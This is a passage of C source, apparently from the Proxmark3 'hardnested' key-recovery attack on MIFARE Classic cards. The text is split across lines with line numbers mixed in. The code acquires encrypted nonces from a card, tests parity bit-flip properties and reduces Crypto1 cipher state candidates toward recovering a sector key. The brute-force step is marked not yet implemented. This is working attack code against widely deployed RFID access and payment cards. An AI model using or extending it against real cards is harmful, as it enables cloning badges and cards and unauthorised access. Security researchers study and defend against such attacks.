<= 16 && !found_match
; s
+= 2) {
804 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
805 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
806 uint16_t part_sum_a8
= (odd_even
== ODD_STATE
) ? r
: s
;
807 uint32_t *p
= find_first_state(state
, mask
, &partial_statelist
[part_sum_a8
], odd_even
);
809 while ((state
& mask
) == (*p
& mask
) && (*p
!= 0xffffffff)) {
810 if (remaining_bits_match(j
, best_first_bytes
[0], best_first_bytes
[i
], state
, (state
&0x00fffff0) | *p
, odd_even
)) {
812 // if ((odd_even == ODD_STATE && state == test_state_odd)
813 // || (odd_even == EVEN_STATE && state == test_state_even)) {
814 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
815 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
819 // if ((odd_even == ODD_STATE && state == test_state_odd)
820 // || (odd_even == EVEN_STATE && state == test_state_even)) {
821 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
822 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
828 // if ((odd_even == ODD_STATE && state == test_state_odd)
829 // || (odd_even == EVEN_STATE && state == test_state_even)) {
830 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
831 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
839 // if ((odd_even == ODD_STATE && state == test_state_odd)
840 // || (odd_even == EVEN_STATE && state == test_state_even)) {
841 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
851 static int add_matching_states(statelist_t
*candidates
, uint16_t part_sum_a0
, uint16_t part_sum_a8
, odd_even_t odd_even
)
853 uint32_t worstcase_size
= 1<<20;
855 candidates
->states
[odd_even
] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size
);
856 if (candidates
->states
[odd_even
] == NULL
) {
857 PrintAndLog("Out of memory error.\n");
860 for (uint32_t *p1
= partial_statelist
[part_sum_a0
].states
[odd_even
]; *p1
!= 0xffffffff; p1
++) {
861 uint32_t search_mask
= 0x000ffff0;
862 uint32_t *p2
= find_first_state((*p1
<< 4), search_mask
, &partial_statelist
[part_sum_a8
], odd_even
);
864 while (((*p1
<< 4) & search_mask
) == (*p2
& search_mask
) && *p2
!= 0xffffffff) {
865 if (all_other_first_bytes_match((*p1
<< 4) | *p2
, odd_even
)) {
866 add_state(candidates
, (*p1
<< 4) | *p2
, odd_even
);
871 p2
= candidates
->states
[odd_even
];
872 p2
+= candidates
->len
[odd_even
];
875 candidates
->states
[odd_even
] = realloc(candidates
->states
[odd_even
], sizeof(uint32_t) * (candidates
->len
[odd_even
] + 1));
881 static statelist_t
*add_more_candidates(statelist_t
*current_candidates
)
883 statelist_t
*new_candidates
= NULL
;
884 if (current_candidates
== NULL
) {
885 if (candidates
== NULL
) {
886 candidates
= (statelist_t
*)malloc(sizeof(statelist_t
));
888 new_candidates
= candidates
;
890 new_candidates
= current_candidates
->next
= (statelist_t
*)malloc(sizeof(statelist_t
));
892 new_candidates
->next
= NULL
;
893 new_candidates
->len
[ODD_STATE
] = 0;
894 new_candidates
->len
[EVEN_STATE
] = 0;
895 new_candidates
->states
[ODD_STATE
] = NULL
;
896 new_candidates
->states
[EVEN_STATE
] = NULL
;
897 return new_candidates
;
901 static void TestIfKeyExists(uint64_t key
)
903 struct Crypto1State
*pcs
;
904 pcs
= crypto1_create(key
);
905 crypto1_byte(pcs
, (cuid
>> 24) ^ best_first_bytes
[0], true);
907 uint32_t state_odd
= pcs
->odd
& 0x00ffffff;
908 uint32_t state_even
= pcs
->even
& 0x00ffffff;
909 printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key
, best_first_bytes
[0], state_odd
, state_even
);
911 for (statelist_t
*p
= candidates
; p
!= NULL
; p
= p
->next
) {
912 uint32_t *p_odd
= p
->states
[ODD_STATE
];
913 uint32_t *p_even
= p
->states
[EVEN_STATE
];
914 while (*p_odd
!= 0xffffffff) {
915 if (*p_odd
== state_odd
) printf("o");
918 while (*p_even
!= 0xffffffff) {
919 if (*p_even
== state_even
) printf("e");
925 crypto1_destroy(pcs
);
929 static void generate_candidates(uint16_t sum_a0
, uint16_t sum_a8
)
931 printf("Generating crypto1 state candidates... \n");
933 statelist_t
*current_candidates
= NULL
;
934 // estimate maximum candidate states
935 uint64_t maximum_states
= 0;
936 for (uint16_t sum_odd
= 0; sum_odd
<= 16; sum_odd
+= 2) {
937 for (uint16_t sum_even
= 0; sum_even
<= 16; sum_even
+= 2) {
938 if (sum_odd
*(16-sum_even
) + (16-sum_odd
)*sum_even
== sum_a0
) {
939 maximum_states
+= (uint64_t)partial_statelist
[sum_odd
].len
[ODD_STATE
] * partial_statelist
[sum_even
].len
[EVEN_STATE
] * (1<<8);
943 printf("Number of possible keys with Sum(a0) = %d: %lld (2^%1.1f)\n", sum_a0
, maximum_states
, log(maximum_states
)/log(2.0));
945 for (uint16_t p
= 0; p
<= 16; p
+= 2) {
946 for (uint16_t q
= 0; q
<= 16; q
+= 2) {
947 if (p
*(16-q
) + (16-p
)*q
== sum_a0
) {
948 printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
949 p
, q
, partial_statelist
[p
].len
[ODD_STATE
], partial_statelist
[q
].len
[EVEN_STATE
]);
950 for (uint16_t r
= 0; r
<= 16; r
+= 2) {
951 for (uint16_t s
= 0; s
<= 16; s
+= 2) {
952 if (r
*(16-s
) + (16-r
)*s
== sum_a8
) {
953 current_candidates
= add_more_candidates(current_candidates
);
954 add_matching_states(current_candidates
, p
, r
, ODD_STATE
);
955 printf("Odd state candidates: %d (2^%0.1f)\n", current_candidates
->len
[ODD_STATE
], log(current_candidates
->len
[ODD_STATE
])/log(2));
956 add_matching_states(current_candidates
, q
, s
, EVEN_STATE
);
957 printf("Even state candidates: %d (2^%0.1f)\n", current_candidates
->len
[EVEN_STATE
], log(current_candidates
->len
[EVEN_STATE
])/log(2));
967 for (statelist_t
*sl
= candidates
; sl
!= NULL
; sl
= sl
->next
) {
968 maximum_states
+= (uint64_t)sl
->len
[ODD_STATE
] * sl
->len
[EVEN_STATE
];
970 printf("Number of remaining possible keys: %lld (2^%1.1f)\n", maximum_states
, log(maximum_states
)/log(2.0));
972 TestIfKeyExists(0xffffffffffff);
973 TestIfKeyExists(0xa0a1a2a3a4a5);
978 static void Check_for_FilterFlipProperties(void)
980 printf("Checking for Filter Flip Properties...\n");
982 for (uint16_t i
= 0; i
< 256; i
++) {
983 nonces
[i
].BitFlip
[ODD_STATE
] = false;
984 nonces
[i
].BitFlip
[EVEN_STATE
] = false;
987 for (uint16_t i
= 0; i
< 256; i
++) {
988 uint8_t parity1
= (nonces
[i
].first
->par_enc
) >> 3; // parity of first byte
989 uint8_t parity2_odd
= (nonces
[i
^0x80].first
->par_enc
) >> 3; // XOR 0x80 = last bit flipped
990 uint8_t parity2_even
= (nonces
[i
^0x40].first
->par_enc
) >> 3; // XOR 0x40 = second last bit flipped
992 if (parity1
== parity2_odd
) { // has Bit Flip Property for odd bits
993 nonces
[i
].BitFlip
[ODD_STATE
] = true;
994 } else if (parity1
== parity2_even
) { // has Bit Flip Property for even bits
995 nonces
[i
].BitFlip
[EVEN_STATE
] = true;
1001 int mfnestedhard(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, bool nonce_file_read
, bool nonce_file_write
, bool slow
)
1004 // initialize the list of nonces
1005 for (uint16_t i
= 0; i
< 256; i
++) {
1008 nonces
[i
].Sum8_guess
= 0;
1009 nonces
[i
].Sum8_prob
= 0.0;
1010 nonces
[i
].updated
= true;
1011 nonces
[i
].first
= NULL
;
1015 num_good_first_bytes
= 0;
1017 init_partial_statelists();
1018 init_BitFlip_statelist();
1020 if (nonce_file_read
) { // use pre-acquired data from file nonces.bin
1021 if (read_nonce_file() != 0) {
1024 num_good_first_bytes
= estimate_second_byte_sum();
1025 } else { // acquire nonces.
1026 uint16_t is_OK
= acquire_nonces(blockNo
, keyType
, key
, trgBlockNo
, trgKeyType
, nonce_file_write
, slow
);
1032 Check_for_FilterFlipProperties();
1037 PrintAndLog("Sum(a0) = %d", first_byte_Sum
);
1038 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1039 // best_first_bytes[0],
1040 // best_first_bytes[1],
1041 // best_first_bytes[2],
1042 // best_first_bytes[3],
1043 // best_first_bytes[4],
1044 // best_first_bytes[5],
1045 // best_first_bytes[6],
1046 // best_first_bytes[7],
1047 // best_first_bytes[8],
1048 // best_first_bytes[9] );
1049 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD
*100.0, num_good_first_bytes
);
1051 generate_candidates(first_byte_Sum
, nonces
[best_first_bytes
[0]].Sum8_guess
);
1053 PrintAndLog("Brute force phase not yet implemented");